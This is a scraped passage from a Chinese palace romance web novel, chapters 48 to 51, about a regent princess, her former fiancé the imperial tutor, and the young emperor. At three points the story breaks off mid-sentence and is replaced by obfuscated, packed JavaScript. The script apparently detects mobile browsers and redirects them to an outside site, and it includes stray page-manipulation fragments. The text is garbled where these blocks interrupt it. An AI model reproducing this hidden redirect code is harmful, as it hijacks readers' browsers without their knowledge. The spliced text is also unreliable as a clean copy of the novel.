她眼角面上都染着酡红,更显眉眼间的美艳和凌厉,虽说语气有些散漫,但周身的凌厉和不可侵犯之意在微醺之间愈发沉重。 寻常人听了这话,早连连告罪,唯唯诺诺地说着公主息怒,然后能跑多快跑多快了。 但林魏然始终站在原地,甚至还想强硬地伸手把杨灵允拽起来:“我叫魏院判备了醒酒汤,去喝点。” 毫无防备间,杨灵允很轻易就被他拉了起来。不过她也并没有抗拒之意,抬手间朱红色的帔帛也从臂间滑落,嘴角仍是微弯,笑意却不达眼底:“你算什么东西啊?也来管我?” 与此同时,门外传来小心翼翼的叩门声,还有杨言的声音:“公主,酒买来了。” 看来杨言是被她打发出宫买酒了。 喝了两壶还不够,杨灵允显然是打定主意,最好喝到精神恍惚,什么都记不清。 “进来。” “滚出去!” 林魏然到底舍不得对杨灵允说什么重话,转头把气都撒在杨言身上,阴着脸色厉喝道。 杨言抱着两壶酒,被林魏然这副模样怔住,脚步一时顿在原地。 杨灵允也没再说话,只轻飘飘地抬眼看过去,杨言对上她的眼神,陡然回神,咽了口唾沫,便硬着头皮,顶着林魏然冷厉的眼神,轻手轻脚地将两壶酒放在桌上。 “公主,酒买来了。” 林魏然见状,脸色愈发难看,抬手就想把这两壶酒掀翻了。 这会,杨灵允却反应过来了,眼疾手快地抓住他青筋暴起的右手,轻声警告道:“别在我这撒泼。” 她看着林魏然时,唇角那点细微的弧度也不见了。 杨言见状,连忙小心翼翼地降低自己的存在感,悄无声息地退了出去。 轻微的脚步声后,寝宫之内又只剩他们二人。 杨灵允这才松开握着林魏然小臂的手,又坐回原位,熟练地撬开酒壶,连酒杯都不用了,对着壶口准备直接喝。 林魏然看着她这一串行云流水的流畅动作,眼底一点点染上红,按在桌上的手背上暴起青筋——很显然,在他不知道的这些日子里,下朝之后杨灵允都是这样度过的。 在福安酩即将灌入杨灵允喉咙的最后一刻,林魏然终于有了动作。 他抬手按住了酒壶的壶身,杨灵允的动作也就此停在半空。 她不悦地皱着眉,想将酒壶从林魏然手中拿出来。但她的力气跟林魏然的力气压根不能比。 酒壶很轻易地被他压回了桌面,只有寥寥几滴在两人的角力间溅了出来。有些落到了桌上,还有几滴落在了杨灵允的下颌,顺着她细长的脖颈划过凸起的锁骨。 林魏然的动作有片刻的僵硬。 但杨灵允没察觉——好不容易喝出的醉意荡然无存,眼底又一片清醒,她心情实在不算好,加重语气警告了第二遍:“禁军只是离栖暖殿远了些,不是死了。” 她坐在交椅上,抬眼间牵动了脖颈,又有几滴酒缓缓而下,消失不见。 “容时哥哥,不要太放肆了。” 林魏然眼神沉沉地看着她,忽然滚动了好几下喉结,抬手拿过酒壶,在杨灵允还未反应过来的时候,仰头灌了自己半壶酒。 烈酒入喉,一股气直冲脑海。 林魏然几乎是凭着本能再次将杨灵允拽起来,将她按在了自己怀中。 杨灵允微微皱眉,不知道林魏然忽然发的哪门子疯。 她抬手就想把林魏然推出去。 只是这举动对林魏然来说似乎更像是滴入热锅的一滴油,瞬间激起浓重的热意,将一切燃烧殆尽。 这次两人离得很近,杨灵允很清楚地听见了林魏然喉结滚动的声音,然后就看着林魏然慢慢低头,福安酩的味道也愈发浓郁。 她感觉到自己唇上传来惊人的灼热,混着酒香和桂花香,仿佛细细密密的线,缓慢却不可抗地将她束缚其中,再难挣脱。 “想喝酒?等你身体养好了你想喝什么我都给你寻来。” 大约是刚刚喝酒喝太快,林魏然的声音变得有些沙哑,就带上了一股温柔缱绻的意味。 不过他的动作与温柔二字截然相反。 愈发强烈的压迫感将甚至将杨灵允逼到了墙边,就在她以为自己免不了磕到墙上时,触碰到的不是冷硬的墙,而是温热的手心。 林魏然就在离她寸步的地方,手隔在她与墙之间,前后都传来源源不断的热度。 唇角,耳畔拂过温热的触感,耳边缓慢地传来他压抑的声音:“宣和,你若是心情不好可以换个方式发泄,骑马出游你想做什么我都陪着你,别糟蹋自己。” 杨灵允倏然沉默,被困在他与墙之间,垂眸一动不动,一言不发。 春雨不知何时又淅淅沥沥地落了下来,雨声滴答间,酒香也渐渐散去。 杨灵允终于缓慢地抬眼看林魏然。 他面上也染上微红,嘴唇紧抿成一条直线,黑亮的眼睛放大在她眼底,她甚至能清楚地闻到他身上那股混在酒香中的淡淡的桂花香。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544150|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是她很喜欢的花香。 鬼使神差间,她忽然伸手,用力拽下林魏然的领子。 转瞬之间,唇齿相交,水声相融,另一种暧昧的热意缓缓浮现。 不知过了多久,杨灵允才轻喘着推开林魏然,漂亮的眼底带上似笑非笑的挑衅:“这样,你也愿意?” 林魏然被推开了些,但仍旧没收回手,两人之间的距离甚至不及半指。 许是这春天的雨一场场下得实在令人心神恍惚,又许是林魏然被先前那半壶酒烧光了所剩不多的理智。 林魏然的眼睛变得幽黑,他再次缓慢又低下了头,与杨灵允交换了一个绵长而深重的吻。 眼神珍惜,动作放肆。 门外,小皇帝站在虚掩的门边,将屋内两人的放肆尽收眼底,酒香还源源不断地从门缝中飘出来。 从屋檐落下的雨水打湿了他的衣角,他却恍若未见。 幼荷在他身边站了片刻,伸手盖住了小皇帝的眼,悄无声息地将他带离这个地方,半蹲在他身前,竖起食指在唇间,轻声道:“陛下,此事您就当作没看见,可好?” 小皇帝本就聪慧,如今懂得更是不少。 林魏然和杨灵允纠缠不清,首当其冲的就是他这个皇帝。 但此时他却更关心另一个问题:“姐姐这样真的能开心吗?” 幼荷沉默了很久,直到春雨渐渐停歇,才轻轻叹一口气:“我也不知道。陛下,这话得问她自己。” 但到头来,小皇帝也没敢问出口——他怕问了,杨灵允说不开心。 那么他还能怎么做,真的就眼睁睁地看杨灵允离开宫中,离开自己吗? 他舍不得。 在短暂的前十年中,他就已经历了太多的生离死别。他不想一个人孤零零地留在宫中,他想要杨灵允陪着自己。 不过这回也是小皇帝唯一看见的一回。此后,他再也没见到杨灵允和林魏然有过越界之举。 似乎在那个春雨暧昧的下午过后,他们之间又竖起了公主与臣下的高墙。 不过至少有一件事值得庆幸——杨灵允也不再酗酒了。 在春闱放榜的前一夜,暮春的夜风中已经有了几分热意,幼荷坐在案边看杨灵允翻着手上的名册,忍不住好奇问道:“你最近都不喝酒了?” 杨灵允翻阅名册的手一顿,似乎是想起了什么,但片刻之后又若无其事地继续看下去,淡道:“不想喝了。喝酒误事,况且喝酒也不能真正解决问题。” 她显然想起的是与林魏然相关的事。 幼荷顿了顿,又问道:“那你最近也不见林太傅了?” ……“宣和,我们一定能真正成婚的。” 杨灵允耳边又滑过林魏然略带沙哑的声音,还有林魏然背上大片未痊愈的鞭上,纵横交错,触目惊心。 那时她问过他,谁打伤的?可林魏然始终避而不谈,只是一遍又一遍哑声道,我们一定能真正成婚的。 这话杨灵允听了都想笑——一个幼帝之师,一个摄政公主,当朝没有一个人愿意看到他们二人的婚约。 不过那时她也没说出口,转了个话题——虽说是喝酒误事,但那日她到底也没醉,清清楚楚地明白自己到底在做什么。所以林魏然也不必有什么负罪感,都是你情我愿之事。 当时她说完这话时林魏然脸色就有些难看,攥着她的手腕问:“你是要始乱终弃吗?” 当时是怎么回答了,杨灵允好像有些忘了。她只记得那日林魏然离开之时正值黄昏。 天色泛黄,天地潮湿。 她在床边看了很久的日落,直到云层翻涌,再次落雨。 那场春雨从那日黄昏下到今日。 “没什么好见的,”杨灵允收回心绪,避而不谈林魏然,只是道,“如今春闱放榜,曲江宴将开,这些才是重要事。” 49. 第 49 章 春末夏初的曲江宴是长安的盛会之一。 宴会位于曲江边上的杏院中举行,宴会开席之初,几乎整个曲江边上都挤满了人,热闹非凡。 自先帝朝时,便下令曲江宴不止作为新科进士的庆祝宴会,除了新科进士、高官世族外,长安百姓也皆可来此同乐,品水路之珍,享筵席之乐。 运气好的,说不定还能见到天子与公主。 杨灵允和小皇帝站在紫云楼向下望。曲江宴已经开始了,长安中人齐聚一坛,人声鼎沸,喧嚣异常。 “陛下想亲自下去看看吗?”杨灵允转头对小皇帝笑问。 小皇帝看着底下众人,沉默良久又看了看杨灵允,问:“姐姐不下去吗?” 他最近一直这样,变得有些沉默寡言。 杨灵允其实有些担心。但她也从没养过孩子,况且她与小皇帝之间,也并非姐弟这么简单的关系。 所以她最终决定采用老方法——就是没有方法。 如果小皇帝愿意说,他自然会说。他不愿意说,杨灵允也不强迫。天家子弟,总要学会自己处理自己的问题。 “这是陛下的宴会啊,”杨灵允对小皇帝的态度一如既往,笑着半蹲下来,“我去有什么意思?况且今年的两位探花郎都是寒门出身,若得了陛下的亲自接见,定会感念陛下恩德,为陛下肝脑涂地。” 小皇帝沉默片刻,点点头:“好,……朕去看看。” 他说完,带着个黄门和侍卫就离开了。偌大个紫云楼,转瞬之间就只剩下杨灵允和幼荷两人。 “你真不下去看看吗?”幼荷扶着栏杆前倾身子看去,脸上带着几分兴奋和好奇“难得见这么多人聚集曲江,好热闹啊。” 杨灵允倚在栏杆边,笑了笑:“你想去就去,不必在这守着。” 幼荷撇撇嘴:“我离开了,万一哪里又冒出个杀手怎么办?” 杨灵允笑道:“紫云阁这么多禁军守卫难道都是吃白饭不成?曲江宴是长安盛会,你去玩玩也好。” 幼荷转头盯着杨灵允,“别说这么老气横秋的话,你比我还小几岁呢,没到二十的人,别一副天天半死不活的模样。” 杨灵允难得呆了片刻——除了幼荷,无人敢这般放肆地对她说话,连林魏然都不会。 在她顿住的片刻,幼荷脸上划过狡黠的笑意,兴致勃勃地拉着杨灵允下楼了:“你说的,这边都有禁军守着,那你去也去玩玩有何不可?” 紫云楼下面便是杏园,整条曲江最中心的地方。杏园是皇家所有,每年只开放曲江宴这三日,唯有新科进士、世家子弟和高官权臣可以入内。 就算有了诸多限制,杏园内人仍是不少。不过杏园内的人大多都有自己的目标,没工夫欣赏皇家园林之美,唯有阵阵推杯换盏的声音自主殿那边传来。 后院这边杏树繁茂,杏花飘摇,倒是没看见一个人影。 幼荷拉住杨灵允想出杏园,去曲江边上玩。 杨灵允这回却阻止了她,抽回自己的手臂,对幼荷笑道:“我想在杏园这边逛逛,好久没来了。” 幼荷一时纠结在原地——她是真的想去曲江边。 杨灵允淡笑着轻轻推了推她:“你去吧,别担心,禁军都跟着我呢。” 幼荷纠结片刻,抵不过心底诱惑,她小跑着离开前还不忘对杨灵允挥挥手:“我给你带点好吃的回来。” 杨灵允忍不住低头笑了一声。 暮春连雨,清风阵阵,地上已经铺了一层薄薄的杏花。 杨灵允踩过粉白的杏花时悄无声息,就跟杏花落下一样,无声无息。 其实她真的很多年没来过杏园了,上次来杏园,还是云婉带着她和安王一起来的。 那时杏园的一切对她来说都是陌生而新鲜,她很喜欢这个地方,所以闹着不肯离开。 云婉无奈地蹲在自己面前,温声哄她,说明年杏花开的时候再带她来。 但是还未等第二年杏花再开,她已经没机会再离宫了。 接下来的一切,便如同脱缰的野马,不受控制地往最坏的方向飞驰而去,无人阻止,无人能够阻止。 如今旧地重游,物是人非,杨灵允心底也不免涌起复杂的情绪,像是密密麻麻的线团,理不清解不开,跟过往的是是非非一样,找不到一个出路。 …… “宣和” “临安公主” 不同的称谓由同一个声音唤出,在飘飘落落的杏花间声声重叠,像无形的枷锁一样缠在杨灵允身侧。 杨灵允手心不自觉收紧,失控之下揉碎了一朵落下的杏花。 不过这重重叠叠的声音很快又被打破了—— “参见长公主殿下。” 清晰的男声瞬间将杨灵允的思绪全部唤回,她看着远处杏树下执手行礼的男子,面无表情道:“你是谁?” 男人微笑解释道:“新科状元王文辅,见过长公主殿下。” “状元?”杨灵允唇齿间滚过这两个字,神色淡淡,“不去主殿那边,跑来后院做什么?” 王文辅嘴角挂着无可挑剔的微笑,“臣想见一面长公主殿下。” 杨灵允拢了拢帔帛,似笑非笑地看向来人:“私探本宫行踪,可是死罪。” 王文辅忽然缓步上前。杨灵允眯了眯眼,抬手拦住了在暗处即将阻拦他的禁军,只任由他步步靠近,看着他撩起衣袍跪在自己面前,轻声笑道:“但微臣可以做长公主手中的一把刀。” 杨灵允居高临下地看着来人,他笑得温和儒雅,却遮不住眼底的勃勃野心。 “你既是状元,应该有点脑子,”她挑起一抹轻笑,“王正安知道你私自来效忠本宫吗?” 王文辅眼底有片刻的收紧,没想到一打眼就被杨灵允看穿了自己的真正身份。 但旋即,他又低头微微笑道:“傅氏远在西北,林氏效忠陛下,京中之内,公主不正需要一个强劲的世家做后盾吗?” 杨灵允毫不留情地嗤笑,“你能代表王氏?” 王文辅眼底闪过一丝难堪的狼狈,但旋即又仰头看着杨灵允,脸上的微笑依旧完美:“若公主愿意,臣会带领王氏永远忠于公主。” 搞了半天,原来是来跟自己谈合作的。 杨灵允顿觉无趣,刚想将人打发了,忽然回过神来——他为什么这么笃定自己能帮他得到王氏? 要知道,如今朝中可有不少人在观望着。 王文辅一个从未插足朝堂的世家子弟,怎么会这么轻易就压了筹码? 除非是……他还知道点别的。 想到这里,杨灵允微微眯了眯眼,嘴角的弧度更深了些:“想让本宫帮你,得先展现一下你对本宫的诚意吧?” 王文辅眼底微亮,连语气都不自觉上扬了些:“现下林魏然如日中天,臣可为公主除去这个心腹大患。” 风很快吹散了他的声音,杏花飘落在杨灵允的发上、眼睫、还有肩上,粉白的花瓣遮住了她眼底升起的冷意:“你一个刚踏入仕途的人,如何除得去他?” 王文辅以为杨灵允已经被他说动了,便继续道:“林魏然早年荒唐,当街斗殴之事只多不少,况且他又曾被先帝下放三年,借先帝之名再次将他外放出京,想必连宁安侯府都不敢有微词。” 杨灵允看了他片刻,忽然弯唇笑了:“好啊,那你且去做。等你做好了这件事,再来跟本宫谈交易。” 王文辅慢慢起身,执手对杨灵允行礼,微笑道:“臣谨遵公主旨意。” 等人影消失在杏树间,杨灵允才慢慢开口:“人走了,出来吧。” 她身后的杏树中,林魏然慢慢现身,定定地看着杨灵允。他神情淡漠,但死死捏紧的双拳和微抿的唇角都示意着他心底并非面上那般冷静。 “钱其, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565310|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”杨灵允喊了一声禁军首领的名字,“去外面守着,别让人靠近这。” “公主这……”钱其盯着林魏然,显然是担心他会对杨灵允不利。 杨灵允厌倦地挥了挥手:“没事,去外面守着。” 等杏园后院内只剩他们二人时,林魏然才哑着嗓子开口:“你想让我离开京城?” 杨灵允撇撇嘴:“那王……王什么的小手段你应付不了?” 无关紧要的人,她实在记不住名字。 林魏然眼神忽然变了,变得愈发深重,步步紧逼,连语气中带了些逼问的味道,他站在离杨灵允只有一寸之遥的地方,声音仍有些沙哑:“那你如今是在做什么?” 杨灵允轻描淡写,“跟你没关系。” 她又恢复了最初的态度,仿佛那个春雨绵绵的下午,两人所有的亲昵和暧昧都只是林魏然的妄想。 林魏然眸色愈发深重,他抬手就将杨灵允的手禁锢在自己掌心,指尖摩挲着她的手指,嘴角扯出细微的弧度:“没关系?宣和,你是真的下了床就不认账啊。” 他到底年少轻狂过,见过的不少,理智摇摇欲坠间这种荤话便也脱口而出。 杨灵允眼神陡然变冷,抽回自己的手,似笑非笑:“容时哥哥,莫非……你还真想跟我成婚?” 这话瞬间激得林魏然红了眼角,向来温和的面孔上忽然浮出些不管不顾的疯狂,他再次握上了杨灵允的手,脱口反问:“不可以吗?明明当年只差一点,只差一天的!” 这副不属于林太傅的神色让杨灵允的一切动作僵在原地——那个午后的顺水推舟,她以为是两人默认的一次放纵,就像流水无痕。可如今看来,林魏然似乎并非这样想。 想到这里,杨灵允缓缓阖了阖眼——可人不是靠私心活的。 她抬手抚过林魏然的侧脸,动作很轻很慢,像是警告,又像是认命的叹息:“不一样了,一切都不一样了。” 林魏然反手抓住了她的手,妄念在心底无声疯涨,他脱口而出:“一样的!我可以不当这个帝师!” 近乎表明心迹的话,杨灵允却只轻轻笑了声,“不要意气用事,林魏然。你舍不下舍不下黎明百姓,舍不下朝堂的。” “哥哥也不希望看到你如今这副模样的。” 从前暧昧朦胧间,都是杨灵允在交锋的边缘游走,率先打破无形的边墙。可当一切被明明白白地揭开时,她却成了最冷静的那个人,冷静地在一旁看林魏然红了眼眶,溃不成军。 而她,平静冷漠,无动于衷。 不知过了多久,林魏然终于缓慢地松开了手,杨灵允的手臂随之垂落,风吹起的一截衣袖,露出的手腕上光洁白皙,没有半分痕迹。 林魏然略显苍白的面孔上浮出一个比哭还难看的笑:“宣和,你真的爱我吗?” 杨灵允沉默以对。 直到杏花再次飘落,林魏然也没等到杨灵允的回答。 最后,他踩着满地的落花,悄无声息地离开了。 就像飘落的杏花一样,他来时去时都无声无息,却清晰地留在了杨灵允眼底。 看着林魏然消失的背影,杨灵允深吸一口气,脱力地倚在了一边的杏树上,慢慢抬手盖住了眼睛。 爱林魏然吗?她自己都不知道。 长久的深宫算计生涯已经让她忘记了什么叫爱。争权夺利的算计间,感情也只是一份明码标价的筹码。 她想要无条件无杂质的爱,但她也清楚林魏然心底还装着太多东西——理想信念、黎明百姓。可偏偏也是这些,成就了现在的林魏然,她不想看到林魏然放弃这些。 所以最好的办法就是继续装聋作哑,装作不知地过下去。可林魏然却偏偏要把一切都摆到台面上。 “为什么要说出来啊?”杨灵允看着满天飘落的杏花,眼睫轻颤,不知是在对谁说话,“像之前那样不好吗?” 50. 第 50 章 幼荷带着一屉樱桃毕罗和一屉蟹黄毕罗回来时,杨灵允正阖眼倚在不远处的杏树上,似乎睡着了。 她便也没过去打扰,悄声问了守在后院入口的钱其:“林太傅今日来过了吗?” 钱其点头,又问道:“你怎么知道?” 幼荷举了举手上的樱桃毕罗,轻叹一声:“我刚刚回来时看见林太傅好像是从后院的方向出来,他看见我时还给我这一屉樱桃筚罗,说公主喜欢吃樱桃的不喜欢吃蟹黄的。” 钱其不得其解:“我看那姓林的出去时脸色不好看,怎么转头又给公主送吃的了。” 幼荷心下了然——想必是这两人又没谈好。 她不是一无所知的单纯少女,那个午后杨灵允和林魏然在栖暖殿做过什么她心里清楚得很。 只是自从那之后,杨灵允就一直避着林魏然不见,幼荷实在有些不明白杨灵允到底在想什么——照常理来说,身体上的关系更近一步后,情感上的关系不更应该近一大步吗? “回宫。” 不知何时,杨灵允已经睁开了眼,悄无声息地看过来。 幼荷叹口气,上前把手中的樱桃毕罗递给杨灵允:“先吃点这个吧,林太傅让我给你的。” 她发现,自从留在宫中后,自己叹气的时候越来越多了,而且多数时候都是因为杨灵允。 杨灵允垂眸看了眼食盒中白里透红的樱桃毕罗,捏起一个放进口中,片刻之后脸上忽然闪过一丝复杂的神情——似笑非笑,似哭非哭。 她低头又看了眼食盒中码得整整齐齐的樱桃毕罗——连食盒内的纹样都是她熟悉的模样。 “他做的啊……”杨灵允眸色微闪,轻声低语。 幼荷离得很近,耳聪目明,显然是听清了。 她又轻轻叹口气,没再多说。 —— 此时主殿之内,消失许久的林魏然终于再次现身,引来不少人纷纷上前敬酒交谈。 只是这回,众人都发现,林太傅的脸色不如先前好了,虽然还是嘴角带笑,但明眼人都看得出来有几分勉强的味道,殿内彻日通明的灯火也遮不住他有些苍白的脸色。 无论坐到什么位置,总都会有好奇心。 不过年纪轻的碍于林魏然如今的权势,不敢去触他的霉头。年纪长的更拉不下脸去问。 因而不少世家出事的都转到宁安侯这边,暗暗打听着林魏然刚刚消失是去见了公主,还是陛下? 众人环绕间宁安侯瞥了眼坐在不远处的林魏然——如今他这个儿子,坐得已经比他老子要高了。 他说不出心里是什么滋味。他既骄傲于林魏然本身的能力和手段,却又愤懑于林魏然的叛逆和违逆。 所以他最终也没上去问问,只是不动声色地打发了这些心思不明的同僚,独自坐在自己的桌前喝闷酒。 就在他喝下第二杯闷酒时,又来了一名不速之客——郑虔。 作为东南大将军,这是他入京后现身的第一场宴会,一举一动都被不少人盯着,好不容易应酬完了那些同僚,他终于有机会找上了他的真正目标。 “许久不见,林相风采依旧啊。”郑虔笑眯眯地端着酒杯坐到了宁安侯身侧,一副自来熟的样子。 宁安侯微不可察地皱了皱眉——他与郑虔素来无交际,况且杨灵允似乎挺倚重郑虔,郑虔如今突然找上他,莫非是长公主授意? “将军说笑。戍边不易,如今难得回京,将军还是多看看这长安风光吧。”宁安侯举杯敷衍了一下,就想打发走郑虔。 但郑虔仿佛听不懂话一般,笑眯眯地碰了杯,直接开门见山:“其实我来这曲江宴,就是为了见林相一面。” 宁安侯眼底陡然闪过暗色,继而又微笑起来:“哦?不知郑将军找我何事?” 郑虔挠了挠头,又忽然开始婉转迂回。他先夸了一大通林魏然,不过一介武夫言辞匮乏,翻来覆去也只有一表人才前途无量这八个字。 直到宁安侯听得都有些不耐烦了,郑虔才切入正题:“我膝下唯有一女,如今已到婚嫁之年,令郎与小女年纪相仿,若宁安侯府与我郑家能结成秦晋之好,岂不对你我两家都是好事?” 想和宁安侯府联姻?可郑虔不是长公主的人吗? 宁安侯眼底滑过一丝怀疑,又笑道:“相看之事不都是家中夫人操办,怎么还要郑将军亲自出面?” 郑虔无奈地叹口气:“夫人身子不好,我便多留心些。” 宁安侯极快地盘算了下——其实郑虔说得不错。林魏然是文臣,在军中威望不足,若娶了郑家女,便是如虎添翼。 这桩婚事唯一的疑点就是,郑虔此人从不拉帮结派,是靠着实打实的军功挣下了郑家的那份家业。他过去与郑虔从无交际,郑虔怎会突然找上他? 想到这里,宁安侯笑道:“这年轻人的事,还得让他们自己多接触接触。四月二十是我夫人生辰,届时郑将军可携令爱来宁安侯府,也让他们年轻人自己看看,如何?” 他想,十日之内,应该足够查清郑虔找上他到底是真心实意,还是别有用心。 郑虔心思没有宁安侯那么深,只以为宁安侯同意了,便高兴地举杯笑道:“如此甚好。” 另一边的林魏然还不知道宁安侯已经盘算着准备将自己的婚事卖出去了,只盯着手中的酒杯发呆——他真的不明白,为何杨灵允说变脸就变脸? 一直以来,杨灵允对他的例外和妥协他不是看不见,可为何如今却愈发冷淡? 林魏然烦躁地一口灌下烈酒,思绪便有了片刻的迟钝,仿佛先前的痛苦和挣扎也随之消散。 酒真的个好东西啊,让人记忆恍惚,痛苦全无。他想,宣和那么喜欢喝酒,是有多少想忘掉的记忆? —— 曲江宴之后,新科进士各奔东西,有的留在长安为官,有的去了地方历练。 朝中要紧处的人也在不知不觉间换了一批——换下了世家子弟和尸位素餐的,换上了小皇帝和林魏然精挑细选出来的能干之人。 其实本来这也没什么——云氏被清算,连带着朝中大变,这都是正常的。 但要紧的是,这回清算中,被撤职的还有不少傅家子弟和门生。 远在西北的傅影终于有些坐不住了,一日三封地发着奏折请公主安,话里话外都是让杨灵允赶紧有点动作,别眼睁睁地看着傅氏子弟一个个地被撤离朝堂。 杨灵允置之不理,傅影发一封她烧一封,半份回信也没给。 最后,傅影已然动了怒,说杨灵允要是没能力就赶紧招个世家出身的驸马,生个孩子。 杨灵允看着傅影这封大不敬的信,轻嗤一声,毫不犹豫地将信扔到蜡烛上烧干净了。 坐在她对面的小皇帝看着信慢慢燃烧殆尽,轻声问道:“姐姐,这样真的没事吗?” “没事,傅影还要傅家的脸面和名声。”杨灵允温声笑开,“如今该撤的也撤得差不多了,每年被举荐的傅氏门生也不少,陛下可与林太傅再选些人,让傅影安分点。” 小皇帝又沉默地点点头,一言不发地继续低头看书了。 杨灵允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589876|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢阖了阖眼,忽然又不知道该说什么了。 当她把手中权力逐渐移交到小皇帝手上时,小皇帝却愈发沉默寡言。若他就此远离她,那她也可顺势出宫,可小皇帝虽不怎么说话,却天天往栖暖殿跑。 来了就说朝堂那些事,说完了再说和林魏然的读书学习进度,再说完了,没话说了,就沉默地坐在她这看书。 直到当值的小黄门催促,才回寝宫休息。 杨灵允甚至怀疑,若不是小黄门催促,还有起居郎记着,小皇帝可能会直接在栖暖殿随便找个屋子歇下。 她当真是越发看不明白小皇帝的心思了。 不过也难怪,因为小皇帝自己都不知道自己到底在做什么。 他既害怕着若哪日自己不去栖暖殿了,杨灵允会不会就忽然不见了,但又同时唾弃着自己的卑劣与自私——明知这皇城对姐姐来说就是一个枷锁,明知姐姐最想要的是什么,却还是只接受来自姐姐的权力,而什么都不给姐姐。 所以到头来,他什么都没做,只日日抱着这种挣扎逃避的心情,麻木地徘徊于皇帝寝宫和栖暖殿之间。 这日,小皇帝依旧在小黄门小心翼翼的再三提醒下,才抿着唇跟杨灵允道了安,不甘不愿地往自己寝宫去。 只是今夜,忽然来了一个意料之外的人——“陛下,林太傅求见。” 小皇帝皱皱眉:“这么晚了,他来做什么?” 来传话的是他的心腹太监魏内侍:“奴婢也不知,只是宣德门那边传来消息,说林太傅说有要事禀报。” “让他去御书房罢。”小皇帝想了想,便抬脚转了个方向。 “臣参见陛下。” “太傅何事?”小皇帝坐在御书房的龙椅上,淡淡问道。 林魏然看了眼小皇帝身边的魏内侍,沉默片刻。 小皇帝挥了挥手,示意身边人出去,等御书房的门再次被关上,屋内只剩他们二人时,小皇帝才淡淡开口:“好了,太傅究竟有何要事,竟要深夜见朕?” 半大的孩子长得总是很快,小皇帝如今已褪去了婴儿肥,少年天子端坐龙椅之上,已经有了几分不怒自威的气势。 林魏然这才缓缓开口:“启禀陛下,臣在西市抓到了一个售卖寒食之徒。据他说,他手中的寒食,来自宫中。” 寒食,那个杨灵允苦肉计中的差错,让杨灵允昏迷近三日的罪魁祸首。 小皇帝脸色骤变,起身间还打翻了桌上的一盏茶:“你是说,宫里还有人要害姐姐?” 林魏然面色沉沉,但仍有一副太傅的模样,缓声道:“那人交代,他手中的寒食是四年前从一太监手中购入。虽然如今宫中人已换了一波又一波,不过臣还是有些忧虑,所以特来禀告陛下。” “长安坊市,就只有这一人售卖寒食?” 林魏然垂眸请罪:“臣目前只抓到此人。” 小皇帝又缓缓坐下,将头靠在龙椅上,阖眼淡道:“你再去坊市中查。宫中的事,朕会亲自查清楚。” “是。”林魏然领了命,准备退下。 小皇帝忽然又喊住了他:“等等,朕记得,明日是宁安侯夫人的生辰吧?” 林魏然轻声应是。 小皇帝沉默片刻,“明日姐姐也会去宁安侯府。” 林魏然向来平静温和的脸上终于露出几分僵硬之色。 小皇帝将他微变的脸色尽收眼底,轻轻叹口气,帝王的威压尽数收敛,他起身走到林魏然身边,仿佛还是过去那个年幼的学生:“太傅,你与姐姐到底怎么了?” 51. 第 51 章 深夜的御书房内灯火通明,还有初夏的暖风从半敞的窗子缓缓拂过。 林魏然在原地僵了片刻,才垂眸轻声道:“陛下何出此言?” 小皇帝走到窗边,扬手推开了整扇窗,才回头看林魏然:“朕不是傻子,太傅,朕看见那日午后你进了栖暖殿,你是不是做了什么惹姐姐生气的事?” 林魏然狠狠闭了闭眼,才勉强遮住眼底的不甘和委屈:“臣不敢。” 若无其事的声音缓缓消散在夜色中,小皇帝站在窗边眨了眨眼,忽然道:“是吗?既然如此,太傅便来替朕参考一下。傅大将军一日三封地催姐姐找驸马。太傅以为,朝中哪家公子配得上姐姐?” 林魏然再也控制不住状似平静的脸色,闻言还有了片刻的失神,才恍惚反问道:“公主,要成婚了?” 小皇帝看着他的眼睛,沉默片刻,才继续开口:“是啊,正好太傅今夜在此,便替朕分忧。” 林魏然对上小皇帝平静的眼神,又连忙垂眸想遮住自己眼底的不甘,喉结动了又动,才从喉咙中挤出几个字:“臣不知。” “是不知,还是不想?”小皇帝慢步走近,嘴角也挂上几分似笑非笑,意有所指,“太傅,我知你与姐姐都有很多顾虑。若是这些顾虑无解,又难以放手,不如就它放到一边,握紧自己手中已有的便已足够。” 林魏然在小皇帝的逼问下缓缓捏紧了自己的手,又忽然抬眼看他,神色难辨,轻声问了一个大不敬的问题:“陛下,您就不担心臣与长公主勾结吗?” 小皇帝的步伐倏然顿在原地,沉默许久也没说话。 林魏然阖了阖眼,垂眸告罪,准备离开。 在他即将退出御书房的最后一刻,小皇帝终于抬眼看他,嘴角弯出非常细微的弧度,却字字狠狠砸在林魏然心上——“朕相信姐姐,也相信太傅。” 朕身边,也只剩你们二人。 不过小皇帝到底还是咽下了最后这句话,只看着林魏然的身影消失在门帘后,缓缓坐回了龙椅之上,尚算年少的面孔上露出与他年龄不相符的疲惫。 